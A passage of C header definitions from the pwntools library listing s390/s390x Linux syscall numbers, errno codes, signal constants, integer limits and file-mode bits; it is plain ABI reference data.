0xF8000000 #define FPC_FLAGS_MASK 0x00F80000 #define FPC_DXC_MASK 0x0000FF00 #define FPC_RM_MASK 0x00000003 #define FPC_VALID_MASK 0xF8F8FF03 #define PER_EM_MASK 0xE8000000 #define PTRACE_PEEKUSR_AREA 0x5000 #define PTRACE_POKEUSR_AREA 0x5001 #define PTRACE_PEEKTEXT_AREA 0x5002 #define PTRACE_PEEKDATA_AREA 0x5003 #define PTRACE_POKETEXT_AREA 0x5004 #define PTRACE_POKEDATA_AREA 0x5005 #define PTRACE_PROT 21 #define S390_SYSCALL_SIZE 2 #define SYS_accept4 364 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 278 #define SYS_adjtimex 124 #define SYS_afs_syscall 137 #define SYS_alarm 27 #define SYS_bdflush 134 #define SYS_bind 361 #define SYS_bpf 351 #define SYS_brk 45 #define SYS_capget 184 #define SYS_capset 185 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 182 #define SYS_chown32 212 #define SYS_chroot 61 #define SYS_clock_adjtime 337 #define SYS_clock_adjtime64 405 #define SYS_clock_getres (254+7) #define SYS_clock_getres_time64 406 #define SYS_clock_gettime (254+6) #define SYS_clock_gettime64 403 #define SYS_clock_nanosleep (254+8) #define SYS_clock_nanosleep_time64 407 #define SYS_clock_settime (254+5) #define SYS_clock_settime64 404 #define SYS_clone 120 #define SYS_clone3 435 #define SYS_close 6 #define SYS_connect 362 #define SYS_copy_file_range 375 #define SYS_creat 8 #define SYS_create_module 127 #define SYS_delete_module 129 #define SYS_dup 41 #define SYS_dup2 63 #define SYS_dup3 326 #define SYS_epoll_create 249 #define SYS_epoll_create1 327 #define SYS_epoll_ctl 250 #define SYS_epoll_pwait 312 #define SYS_epoll_wait 251 #define SYS_eventfd 318 #define SYS_eventfd2 323 #define SYS_execve 11 #define SYS_execveat 354 #define SYS_exit 1 #define SYS_exit_group 248 #define SYS_faccessat 300 #define SYS_fadvise64 253 #define SYS_fadvise64_64 264 #define SYS_fallocate 314 #define SYS_fanotify_init 332 #define SYS_fanotify_mark 333 #define SYS_fchdir 133 #define SYS_fchmod 94 #define SYS_fchmodat 299 #define SYS_fchown 95 #define SYS_fchown32 207 #define SYS_fchownat 291 #define SYS_fcntl 55 #define SYS_fcntl64 221 #define SYS_fdatasync 148 #define SYS_fgetxattr 229 #define SYS_finit_module 344 #define SYS_flistxattr 232 #define SYS_flock 143 #define SYS_fork 2 #define SYS_fremovexattr 235 #define SYS_fsconfig 431 #define SYS_fsetxattr 226 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 108 #define SYS_fstat64 197 #define SYS_fstatat64 293 #define SYS_fstatfs 100 #define SYS_fstatfs64 266 #define SYS_fsync 118 #define SYS_ftruncate 93 #define SYS_ftruncate64 194 #define SYS_futex 238 #define SYS_futex_time64 422 #define SYS_futimesat 292 #define SYS_getcpu 311 #define SYS_getcwd 183 #define SYS_getdents 141 #define SYS_getdents64 220 #define SYS_getegid 50 #define SYS_getegid32 202 #define SYS_geteuid 49 #define SYS_geteuid32 201 #define SYS_getgid 47 #define SYS_getgid32 200 #define SYS_getgroups 80 #define SYS_getgroups32 205 #define SYS_getitimer 105 #define SYS_get_kernel_syms 130 #define SYS_get_mempolicy 269 #define SYS_getpeername 368 #define SYS_getpgid 132 #define SYS_getpgrp 65 #define SYS_getpid 20 #define SYS_getpmsg 188 #define SYS_getppid 64 #define SYS_getpriority 96 #define SYS_getrandom 349 #define SYS_getresgid 171 #define SYS_getresgid32 211 #define SYS_getresuid 165 #define SYS_getresuid32 209 #define SYS_getrlimit 76 #define SYS_get_robust_list 305 #define SYS_getrusage 77 #define SYS_getsid 147 #define SYS_getsockname 367 #define SYS_getsockopt 365 #define SYS_gettid 236 #define SYS_gettimeofday 78 #define SYS_getuid 24 #define SYS_getuid32 199 #define SYS_getxattr 227 #define SYS_idle 112 #define SYS_init_module 128 #define SYS_inotify_add_watch 285 #define SYS_inotify_init 284 #define SYS_inotify_init1 324 #define SYS_inotify_rm_watch 286 #define SYS_io_cancel 247 #define SYS_ioctl 54 #define SYS_io_destroy 244 #define SYS_io_getevents 245 #define SYS_ioperm 101 #define SYS_io_pgetevents 382 #define SYS_io_pgetevents_time64 416 #define SYS_ioprio_get 283 #define SYS_ioprio_set 282 #define SYS_io_setup 243 #define SYS_io_submit 246 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 117 #define SYS_kcmp 343 #define SYS_kexec_file_load 381 #define SYS_kexec_load 277 #define SYS_keyctl 280 #define SYS_kill 37 #define SYS_lchown 16 #define SYS_lchown32 198 #define SYS_lgetxattr 228 #define SYS_link 9 #define SYS_linkat 296 #define SYS_listen 363 #define SYS_listxattr 230 #define SYS_llistxattr 231 #define SYS__llseek 140 #define SYS_lookup_dcookie 110 #define SYS_lremovexattr 234 #define SYS_lseek 19 #define SYS_lsetxattr 225 #define SYS_lstat 107 #define SYS_lstat64 196 #define SYS_madvise 219 #define SYS_mbind 268 #define SYS_membarrier 356 #define SYS_memfd_create 350 #define SYS_migrate_pages 287 #define SYS_mincore 218 #define SYS_mkdir 39 #define SYS_mkdirat 289 #define SYS_mknod 14 #define SYS_mknodat 290 #define SYS_mlock 150 #define SYS_mlock2 374 #define SYS_mlockall 152 #define SYS_mmap 90 #define SYS_mmap2 192 #define SYS_mount 21 #define SYS_move_mount 429 #define SYS_move_pages 310 #define SYS_mprotect 125 #define SYS_mq_getsetattr 276 #define SYS_mq_notify 275 #define SYS_mq_open 271 #define SYS_mq_timedreceive 274 #define SYS_mq_timedreceive_time64 419 #define SYS_mq_timedsend 273 #define SYS_mq_timedsend_time64 418 #define SYS_mq_unlink 272 #define SYS_mremap 163 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 144 #define SYS_munlock 151 #define SYS_munlockall 153 #define SYS_munmap 91 #define SYS_name_to_handle_at 335 #define SYS_nanosleep 162 #define SYS__newselect 142 #define SYS_nfsservctl 169 #define SYS_nice 34 #define SYS_open 5 #define SYS_openat 288 #define SYS_openat2 437 #define SYS_open_by_handle_at 336 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_perf_event_open 331 #define SYS_personality 136 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 325 #define SYS_pivot_root 217 #define SYS_pkey_alloc 385 #define SYS_pkey_free 386 #define SYS_pkey_mprotect 384 #define SYS_poll 168 #define SYS_ppoll 302 #define SYS_ppoll_time64 414 #define SYS_prctl 172 #define SYS_pread64 180 #define SYS_preadv 328 #define SYS_preadv2 376 #define SYS_prlimit64 334 #define SYS_process_vm_readv 340 #define SYS_process_vm_writev 341 #define SYS_pselect6 301 #define SYS_pselect6_time64 413 #define SYS_ptrace 26 #define SYS_putpmsg 189 #define SYS_pwrite64 181 #define SYS_pwritev 329 #define SYS_pwritev2 377 #define SYS_query_module 167 #define SYS_quotactl 131 #define SYS_read 3 #define SYS_readahead 222 #define SYS_readdir 89 #define SYS_readlink 85 #define SYS_readlinkat 298 #define SYS_readv 145 #define SYS_reboot 88 #define SYS_recvfrom 371 #define SYS_recvmmsg 357 #define SYS_recvmmsg_time64 417 #define SYS_recvmsg 372 #define SYS_remap_file_pages 267 #define SYS_removexattr 233 #define SYS_rename 38 #define SYS_renameat 295 #define SYS_renameat2 347 #define SYS_request_key 279 #define SYS_restart_syscall 7 #define SYS_rmdir 40 #define SYS_rseq 383 #define SYS_rt_sigaction 174 #define SYS_rt_sigpending 176 #define SYS_rt_sigprocmask 175 #define SYS_rt_sigqueueinfo 178 #define SYS_rt_sigreturn 173 #define SYS_rt_sigsuspend 179 #define SYS_rt_sigtimedwait 177 #define SYS_rt_sigtimedwait_time64 421 #define SYS_rt_tgsigqueueinfo 330 #define SYS_s390_guarded_storage 378 #define SYS_s390_pci_mmio_read 353 #define SYS_s390_pci_mmio_write 352 #define SYS_s390_runtime_instr 342 #define SYS_s390_sthyi 380 #define SYS_sched_getaffinity 240 #define SYS_sched_getattr 346 #define SYS_sched_getparam 155 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_getscheduler 157 #define SYS_sched_rr_get_interval 161 #define SYS_sched_rr_get_interval_time64 423 #define SYS_sched_setaffinity 239 #define SYS_sched_setattr 345 #define SYS_sched_setparam 154 #define SYS_sched_setscheduler 156 #define SYS_sched_yield 158 #define SYS_seccomp 348 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop_time64 420 #define SYS_sendfile 187 #define SYS_sendfile64 223 #define SYS_sendmmsg 358 #define SYS_sendmsg 370 #define SYS_sendto 369 #define SYS_setdomainname 121 #define SYS_setfsgid 139 #define SYS_setfsgid32 216 #define SYS_setfsuid 138 #define SYS_setfsuid32 215 #define SYS_setgid 46 #define SYS_setgid32 214 #define SYS_setgroups 81 #define SYS_setgroups32 206 #define SYS_sethostname 74 #define SYS_setitimer 104 #define SYS_set_mempolicy 270 #define SYS_setns 339 #define SYS_setpgid 57 #define SYS_setpriority 97 #define SYS_setregid 71 #define SYS_setregid32 204 #define SYS_setresgid 170 #define SYS_setresgid32 210 #define SYS_setresuid 164 #define SYS_setresuid32 208 #define SYS_setreuid 70 #define SYS_setreuid32 203 #define SYS_setrlimit 75 #define SYS_set_robust_list 304 #define SYS_setsid 66 #define SYS_setsockopt 366 #define SYS_set_tid_address 252 #define SYS_settimeofday 79 #define SYS_setuid 23 #define SYS_setuid32 213 #define SYS_setxattr 224 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 373 #define SYS_sigaction 67 #define SYS_sigaltstack 186 #define SYS_signal 48 #define SYS_signalfd 316 #define SYS_signalfd4 322 #define SYS_sigpending 73 #define SYS_sigprocmask 126 #define SYS_sigreturn 119 #define SYS_sigsuspend 72 #define SYS_socket 359 #define SYS_socketcall 102 #define SYS_socketpair 360 #define SYS_splice 306 #define SYS_stat 106 #define SYS_stat64 195 #define SYS_statfs 99 #define SYS_statfs64 265 #define SYS_statx 379 #define SYS_stime 25 #define SYS_swapoff 115 #define SYS_swapon 87 #define SYS_symlink 83 #define SYS_symlinkat 297 #define SYS_sync 36 #define SYS_sync_file_range 307 #define SYS_syncfs 338 #define SYS__sysctl 149 #define SYS_sysfs 135 #define SYS_sysinfo 116 #define SYS_syslog 103 #define SYS_tee 308 #define SYS_tgkill 241 #define SYS_time 13 #define SYS_timer_create 254 #define SYS_timer_delete (254+4) #define SYS_timerfd 317 #define SYS_timerfd_create 319 #define SYS_timerfd_gettime 321 #define SYS_timerfd_gettime64 410 #define SYS_timerfd_settime 320 #define SYS_timerfd_settime64 411 #define SYS_timer_getoverrun (254+3) #define SYS_timer_gettime (254+2) #define SYS_timer_gettime64 408 #define SYS_timer_settime (254+1) #define SYS_timer_settime64 409 #define SYS_times 43 #define SYS_tkill 237 #define SYS_truncate 92 #define SYS_truncate64 193 #define SYS_ugetrlimit 191 #define SYS_umask 60 #define SYS_umount 22 #define SYS_umount2 52 #define SYS_uname 122 #define SYS_unlink 10 #define SYS_unlinkat 294 #define SYS_unshare 303 #define SYS_uselib 86 #define SYS_userfaultfd 355 #define SYS_ustat 62 #define SYS_utime 30 #define SYS_utimensat 315 #define SYS_utimensat_time64 412 #define SYS_utimes 313 #define SYS_vfork 190 #define SYS_vhangup 111 #define SYS_vmsplice 309 #define SYS_wait4 114 #define SYS_waitid 281 #define SYS_write 4 #define SYS_writev 146 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/s390x.h000066400000000000000000001051031507273764500244120ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_restart_syscall 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_pause 29 #define __NR_utime 30 #define __NR_access 33 #define __NR_nice 34 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_brk 45 #define __NR_signal 48 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_setpgid 57 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_symlink 83 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_lookup_dcookie 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 #define __NR_getdents 141 #define __NR_select 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_query_module 167 #define __NR_poll 168 #define __NR_nfsservctl 169 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_pread64 180 #define __NR_pwrite64 181 #define __NR_getcwd 183 #define __NR_capget 184 #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 #define __NR_putpmsg 189 #define __NR_vfork 190 #define __NR_getrlimit 191 #define __NR_lchown 198 #define __NR_getuid 199 #define __NR_getgid 200 #define __NR_geteuid 201 #define __NR_getegid 202 #define __NR_setreuid 203 #define __NR_setregid 204 #define __NR_getgroups 205 #define __NR_setgroups 206 #define __NR_fchown 207 #define __NR_setresuid 208 #define __NR_getresuid 209 #define __NR_setresgid 210 #define __NR_getresgid 211 #define __NR_chown 212 #define __NR_setuid 213 #define __NR_setgid 214 #define __NR_setfsuid 215 #define __NR_setfsgid 216 #define __NR_pivot_root 217 #define __NR_mincore 218 #define __NR_madvise 219 #define __NR_getdents64 220 #define __NR_readahead 222 #define __NR_setxattr 224 #define __NR_lsetxattr 225 #define __NR_fsetxattr 226 #define __NR_getxattr 227 #define __NR_lgetxattr 228 #define __NR_fgetxattr 229 #define __NR_listxattr 230 #define __NR_llistxattr 231 #define __NR_flistxattr 232 #define __NR_removexattr 233 #define __NR_lremovexattr 234 #define __NR_fremovexattr 235 #define __NR_gettid 236 #define __NR_tkill 237 #define __NR_futex 238 #define __NR_sched_setaffinity 239 #define __NR_sched_getaffinity 240 #define __NR_tgkill 241 #define __NR_io_setup 243 #define __NR_io_destroy 244 #define __NR_io_getevents 245 #define __NR_io_submit 246 #define __NR_io_cancel 247 #define __NR_exit_group 248 #define __NR_epoll_create 249 #define __NR_epoll_ctl 250 #define __NR_epoll_wait 251 #define __NR_set_tid_address 252 #define __NR_fadvise64 253 #define __NR_timer_create 254 #define __NR_timer_settime (254+1) #define __NR_timer_gettime (254+2) #define __NR_timer_getoverrun (254+3) #define __NR_timer_delete (254+4) #define __NR_clock_settime (254+5) #define __NR_clock_gettime (254+6) #define __NR_clock_getres (254+7) #define __NR_clock_nanosleep (254+8) #define __NR_statfs64 265 #define __NR_fstatfs64 266 #define __NR_remap_file_pages 267 #define __NR_mbind 268 #define __NR_get_mempolicy 269 #define __NR_set_mempolicy 270 #define __NR_mq_open 271 #define __NR_mq_unlink 272 #define __NR_mq_timedsend 273 #define __NR_mq_timedreceive 274 #define __NR_mq_notify 275 #define __NR_mq_getsetattr 276 #define __NR_kexec_load 277 #define __NR_add_key 278 #define __NR_request_key 279 #define __NR_keyctl 280 #define __NR_waitid 281 #define __NR_ioprio_set 282 #define __NR_ioprio_get 283 #define __NR_inotify_init 284 #define __NR_inotify_add_watch 285 #define __NR_inotify_rm_watch 286 #define __NR_migrate_pages 287 #define __NR_openat 288 #define __NR_mkdirat 289 #define __NR_mknodat 290 #define __NR_fchownat 291 #define __NR_futimesat 292 #define __NR_newfstatat 293 #define __NR_unlinkat 294 #define __NR_renameat 295 #define __NR_linkat 296 #define __NR_symlinkat 297 #define __NR_readlinkat 298 #define __NR_fchmodat 299 #define __NR_faccessat 300 #define __NR_pselect6 301 #define __NR_ppoll 302 #define __NR_unshare 303 #define __NR_set_robust_list 304 #define __NR_get_robust_list 305 #define __NR_splice 306 #define __NR_sync_file_range 307 #define __NR_tee 308 #define __NR_vmsplice 309 #define __NR_move_pages 310 #define __NR_getcpu 311 #define __NR_epoll_pwait 312 #define __NR_utimes 313 #define __NR_fallocate 314 #define __NR_utimensat 315 #define __NR_signalfd 316 #define __NR_timerfd 317 #define __NR_eventfd 318 #define __NR_timerfd_create 319 #define __NR_timerfd_settime 320 #define __NR_timerfd_gettime 321 #define __NR_signalfd4 322 #define __NR_eventfd2 323 #define __NR_inotify_init1 324 #define __NR_pipe2 325 #define __NR_dup3 326 #define __NR_epoll_create1 327 #define __NR_preadv 328 #define __NR_pwritev 329 #define __NR_rt_tgsigqueueinfo 330 #define __NR_perf_event_open 331 #define __NR_fanotify_init 332 #define __NR_fanotify_mark 333 #define __NR_prlimit64 334 #define __NR_name_to_handle_at 335 #define __NR_open_by_handle_at 336 #define __NR_clock_adjtime 337 #define __NR_syncfs 338 #define __NR_setns 339 #define __NR_process_vm_readv 340 #define __NR_process_vm_writev 341 #define __NR_s390_runtime_instr 342 #define __NR_kcmp 343 #define __NR_finit_module 344 #define __NR_sched_setattr 345 #define __NR_sched_getattr 346 #define __NR_renameat2 347 #define __NR_seccomp 348 #define __NR_getrandom 349 #define __NR_memfd_create 350 #define __NR_bpf 351 #define __NR_s390_pci_mmio_write 352 #define __NR_s390_pci_mmio_read 353 #define __NR_execveat 354 #define __NR_userfaultfd 355 #define __NR_membarrier 356 #define __NR_recvmmsg 357 #define __NR_sendmmsg 358 #define __NR_socket 359 #define __NR_socketpair 360 #define __NR_bind 361 #define __NR_connect 362 #define __NR_listen 363 #define __NR_accept4 364 #define __NR_getsockopt 365 #define __NR_setsockopt 366 #define __NR_getsockname 367 #define __NR_getpeername 368 #define __NR_sendto 369 #define __NR_sendmsg 370 #define __NR_recvfrom 371 #define __NR_recvmsg 372 #define __NR_shutdown 373 #define __NR_mlock2 374 #define __NR_copy_file_range 375 #define __NR_preadv2 376 #define __NR_pwritev2 377 #define __NR_s390_guarded_storage 378 #define __NR_statx 379 #define __NR_s390_sthyi 380 #define __NR_kexec_file_load 381 #define __NR_io_pgetevents 382 #define __NR_rseq 383 #define __NR_pkey_mprotect 384 #define __NR_pkey_alloc 385 #define __NR_pkey_free 386 #define __NR_semtimedop 392 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 64 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (9223372036854775807)) #define INTPTR_MAX (9223372036854775807) #define UINTPTR_MAX 0xffffffffffffffff #define SIZE_MAX 0xffffffffffffffff #define PTRDIFF_MIN (-1 - (9223372036854775807)) #define PTRDIFF_MAX (9223372036854775807) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (9223372036854775807)) #define INT_FAST16_MAX (9223372036854775807) #define UINT_FAST16_MAX 0xffffffffffffffff #define INT_FAST32_MIN (-1 - (9223372036854775807)) #define INT_FAST32_MAX (9223372036854775807) #define UINT_FAST32_MAX 0xffffffffffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define 